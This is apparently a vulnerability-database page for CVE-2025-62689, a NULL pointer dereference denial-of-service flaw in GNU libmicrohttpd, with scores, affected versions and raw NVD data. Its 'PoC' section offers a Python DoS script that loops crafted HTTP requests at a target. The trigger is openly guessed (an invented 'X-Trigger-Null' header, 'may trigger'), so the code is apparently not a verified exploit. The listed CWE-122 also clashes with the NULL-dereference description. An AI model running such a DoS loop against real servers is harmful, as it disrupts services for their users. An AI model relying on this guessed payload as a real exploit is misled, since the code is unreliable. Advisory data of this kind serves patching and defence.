Security Vulnerability Report
中文
CVE-2025-62689 CVSS 7.5 HIGH

CVE-2025-62689

Published: 2025-11-10 05:15:49
Last Modified: 2025-11-14 18:05:06

Description

NULL pointer dereference vulnerability exists in GNU libmicrohttpd v1.0.2 and earlier. The vulnerability was fixed in commit ff13abc on the master branch of the libmicrohttpd Git repository, after the v1.0.2 tag. A specially crafted packet sent by an attacker could cause a denial-of-service (DoS) condition.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:libmicrohttpd:*:*:*:*:*:*:*:* - VULNERABLE
GNU libmicrohttpd <= v1.0.2
GNU libmicrohttpd v1.0.1
GNU libmicrohttpd v1.0.0
GNU libmicrohttpd所有v1.0.x及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62689 PoC - NULL Pointer Dereference in GNU libmicrohttpd // This PoC demonstrates sending a crafted HTTP request that triggers the vulnerability import socket import sys def send_malicious_request(target_host, target_port, path="/"): """ Send a specially crafted HTTP request to trigger NULL pointer dereference in GNU libmicrohttpd <= v1.0.2 """ # Crafted request with specific headers that may trigger the NULL pointer condition # The exact payload may vary based on the specific code path malicious_request = f"GET {path} HTTP/1.1\r\n" malicious_request += "Host: " + target_host + "\r\n" malicious_request += "Accept: */*\r\n" # Multiple Connection headers might trigger edge cases malicious_request += "Connection: close, keep-alive\r\n" malicious_request += "X-Trigger-Null: yes\r\n" malicious_request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending malicious request to {target_host}:{target_port}") sock.send(malicious_request.encode('utf-8')) # Wait for response response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False def dos_attack(target_host, target_port, duration=60): """ Denial of Service attack - continuously send malicious requests """ import time print(f"[*] Starting DoS attack on {target_host}:{target_port}") start_time = time.time() request_count = 0 while time.time() - start_time < duration: if send_malicious_request(target_host, target_port): request_count += 1 time.sleep(0.1) # Small delay between requests print(f"[*] Attack completed. Sent {request_count} malicious requests") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_62689_poc.py <target_host> <target_port> [duration]") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) duration = int(sys.argv[3]) if len(sys.argv) > 3 else 60 dos_attack(host, port, duration)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62689", "sourceIdentifier": "[email protected]", "published": "2025-11-10T05:15:49.087", "lastModified": "2025-11-14T18:05:06.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference vulnerability exists in GNU libmicrohttpd v1.0.2 and earlier. The vulnerability was fixed in commit ff13abc on the master branch of the libmicrohttpd Git repository, after the v1.0.2 tag. A specially crafted packet sent by an attacker could cause a denial-of-service (DoS) condition."}, {"lang": "es", "value": "Existe una vulnerabilidad de desreferencia de puntero nulo en GNU libmicrohttpd v1.0.2 y anteriores. La vulnerabilidad fue corregida en el commit ff13abc en la rama master del repositorio Git de libmicrohttpd, después de la etiqueta v1.0.2. Un paquete especialmente diseñado enviado por un atacante podría causar una condición de denegación de servicio (DoS)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:libmicrohttpd:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-09-16", "matchCriteriaId": "71349595-7325-41D9-B13D-D5C04F7F0679"}]}]}], "references": [{"url": "https://git.gnunet.org/libmicrohttpd.git/commit/?id=ff13abc1c1d7d2b30d69d5c0bd4a237e1801c50b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://jvn.jp/en/jp/JVN76719218/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.gnu.org/software/libmicrohttpd/", "source": "[email protected]", "tags": ["Product"]}]}}